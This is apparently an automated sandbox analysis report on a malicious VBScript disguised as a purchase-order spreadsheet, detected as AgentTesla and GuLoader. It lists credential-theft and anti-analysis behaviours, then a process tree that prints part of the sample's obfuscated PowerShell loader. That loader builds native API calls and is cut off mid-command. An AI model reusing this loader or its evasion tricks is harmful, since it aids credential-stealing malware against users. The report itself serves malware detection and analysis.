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Windows
Analysis Report
PO-08784 xlsx.vbe
Overview
General Information
Detection
AgentTesla, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Yara detected AgentTesla
Sigma detected: Dot net compiler compiles file from suspicious location
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Yara detected GuLoader
Snort IDS alert for network traffic
Hides threads from debuggers
Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Very long command line found
May check the online IP address of the machine
Obfuscated command line found
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Contains functionality to detect virtual machines (SLDT)
Uses FTP
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Classification
- System is w10x64native
- wscript.exe (PID: 8268 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\PO-08 784 xlsx.v be" MD5: 0639B0A6F69B3265C1E42227D650B7D1) - cmd.exe (PID: 3416 cmdline:
CMD.EXE /c echo C:\W indows MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4412 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 4432 cmdline:
C:\Windows \syswow64\ WindowsPow erShell\v1 .0\powersh ell.exe" " $Thyridia = """ovAfa dAndDa-diT SiyFipOteC o Ro-FlTMu yZopPreAbD ineVefpriD enabiSetFo iLroElnMy Fe'BouJasS uiinnSogud HoSMiyFes DetNoeIdmS a;VauMosPh iStnBegAu ViSPuyNesB rtTuevrmTa .HaRReuBen SctMaiEvmS teRk.InIin nWhtHoeOer AfoShpSoSE jeDerCavCh iLicPieBrs Di;TrpRaud ibfolLaiAl cvo BosPat AlaSktGoiG acGu LicDe lSwaStsUns Re PrMOpeS ptSkhdeyMi lNo1En di{ Ci[DeDAnlO plglIIrmCo pOpocurbut Af(Ef`"""U nkToeLorSe nSrePelLi3 Ko2ha`"""F r)ji]VopAt uDrbunlRei MicNo KosD rtScaTitKr iIrcPo Che SaxUntSleL yrtynGr Sr iEjnBetHu PeGLieTetD eTKahFirHv eUnaBrdtrT InispmJeeI tsCo(riiUg nJutCr BeP InrSkoStgU nrFi8Op2We ,RaiSwnSyt An MeFFirS kePsmSuaKh dOv,PriAfn Hytre drTL ieUnlCoeNo ,ReiTvnMit Fo WiTAbrF ueSydCyiAf ,raisbnCot Ur OpTmyiS tmTr)Sp;Ti [BoDKrlFil MeIRomUnpK eoAfrCitSu (Ha`"""Geu unsSeeNarW i3Su2Sc`"" "Us)Ci]Nyp CeuTobPelA diEfcUd Sq sCotGaaRet NaiDrcRo S mebyxDotJa eGtrTrnPe BliChnAdtJ a PoCInlAc iTyePanBrt UlTTroFoSR ecTirVaeMd eLenBr(Nei StnGltOv S iIUdnWrkLi oSprBapre, coicenCotM e ZetCoeFr kplnFaore) Al;Un[MuDU nlcalHeINu mfrpTyoPir BrtKi(Fo`" ""WakWoeTw rFanFreUnl Pr3Ru2Su`" ""St)Fr]Ud pdeuAlbCal TriCrcRe C osRutGraAl tVeiTacTi VaeSlxUstb oeNerGenPa DiiSunOkt Ca InEOvxh apSaaUhnPl dUnEBrnSav PaistrProT rnDrmSteHy nFetflSWot unrSviDanA bgWesFi(Er iBlnretSt ReREcoCytS otDeePo,Te iChnRetSu FoBUfugalM a,BiiMonBi tDe InEBrn OetafoCo)R e;Ra[PlDLa lAvlFuIAfm SkpBeoAnrS utKo(te`"" "BeuElsJie Elrst3Mu2F y`"""Di)To ]PopVauanb BrlMaiPucO s OvsRetPe aPrtPeiUfc So toeFoxO vtMaeNorTe nSl PriFrn Qutbl AmEE gnPuuBamau CPihPoiDil NedBeWIsiE fnFldFroki wbesSo(Mii HonTatFu h oLMiiOvtRa hFoeIndRo, aniGenCata l HyDReiFo oSubMooSl, MeiOlnTutC h PoATalUv uVanUngAl) Va;Tr[emDS elKrlGoIJa mPrpCooCrr Retst(Yo`" ""MawbeiVi nLamComBi. NldSelFllH e`"""De)No ]IlpOpuChb TelOmiBucF o frsRetCo aChtUdiJuc Sa UnePnxR etMaekvrLg nEl veiMen IntBr InjA uoOpyHuSAc eSetDiCDia GepSutBeuA vrOueCe(Id iWenfotEx AfKPeoAndU niPofNo,Se iSpnRetBe UnVFaeLijB e,FriEsnWi tOp abEDim ChpUntMoiS p,CeiUnnLa tFl BiRUre UdaVicCytd uiNe)Po;No [NoDTnlHyl OuIOpmAkpd eoBerAptIr (Un`"""Opk HmeNirdrnA meMolGr3Sf 2El`"""Kr) Li]ScpViuG rbBrlRiiIt cPr ResFrt GsaIrtApiP acPo UneUh xKrtSyeMar RanIr skvA foByiOpdDe ImGjulReo FabDiaNalS pMMaeLimMy oVarBryhjS EttSuaTutA nufrsUb(sn iFrnretRa SuAWrnJelE pgSksEmiUd )Ou;Cy[FiD DrlSplClIb amanpAtoCo rBotNo(Si` """OvkAneM irUnnGaeCo lPr3Co2Na` """Gr)Pr]m opTouHabdr lPhiSkcNa sksmatStaS etDiiAicva HaeLyxFot UneEnrbrnC o SaiJunPs tAk UnISns ObVPuaColS piPldAgCMo oTodSteSuP SuaMagsueS a(EjiAfnHy tBi CaGGaa KauudmCa)F r;Fa[CoDPh lHylUnIDim TypOvorurM itFo(Mi`"" "UnkSeeLir BenRieJulC h3Sl2An`"" "Sa)Si]Amp whuElbSelL